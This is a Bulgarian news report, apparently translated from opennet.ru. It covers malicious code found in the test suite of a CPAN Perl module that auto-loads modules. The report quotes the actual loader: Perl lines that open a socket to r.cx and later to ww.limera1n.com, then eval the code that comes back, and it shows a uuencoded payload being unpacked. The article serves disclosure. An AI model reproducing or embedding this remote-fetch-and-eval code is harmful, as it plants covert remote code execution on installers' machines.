В разпространявания чрез каталога CPAN Perl пакет , предназначен за автоматично зареждане на CPAN модули в движение, вредоносен код. Вредоносната вставка беше в кода за тестове , който се предоставя от 2011 година.
Забележително е, че въпросите относно зареждането на съмнителен код възникват на още през 2016 година.
Вредоносната активност се свежда до опит за зареждане и изпълнение на код от външен сървър (http://r.cx:1/) в процеса на изпълнение на тестов набор, стартиращ при инсталирането на модула. Предполага се, че първоначално зарежданият от външен сървър код не е бил вредоносен, но сега заявката се пренасочва към домейн ww.limera1n.com, който предоставя своята порция код за изпълнение.
За организиране на зареждането в файла се използва следният код:
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
Указаният код води до изпълнение на скрипта , съдържанието на който е сведено до реда:
use lib do{eval&&botstrap(„RCX“)if$b=new IO::Socket::INET 82.46.99.88.„:1″};
Този скрипт зарежда чрез услугата код от външен хост r.cx (кодове на символи 82.46.99.88 съответстват на текста „R.cX“) и го изпълнява в блока eval.
$ perl -MIO::Socket -e’$b=new IO::Socket::INET 82.46.99.88.»:1″; print ;’
eval unpack u=>q{_<‘)I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}
След разопаковане, в крайна сметка се изпълнява следното :
print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak
«;evalor return warn$@while$b;1
В момента проблемният пакет е премахнат от хранилището (Perl Authors Upload Server), а профилът на автора на модула е блокиран. Въпреки това, модулът все още остава в архива MetaCPAN и може да бъде инсталиран директно от MetaCPAN чрез някои утилити, като cpanminus. , че пакетът не е бил широко разпространен.
Интересно е, че по дискусията и авторът на модула, който опроверга информацията за това, че злонамереният код е внедрен след хакването на сайта му «r.cx» и обясни, че просто се е забавлявал, а perlobfuscator.com е използван не за скриване на нещо, а за намаляване на размера на кода и улесняване на копирането му през клипборда. Изборът на името на функцията «botstrap» е обяснен с факта, че това звуча като bot и е по-кратко от bootstrap. Авторът на модула също увери, че установените манипулации не извършват злонамерени действия, а просто демонстрират зареждането и изпълнението на код по TCP.
Източник: opennet.ru
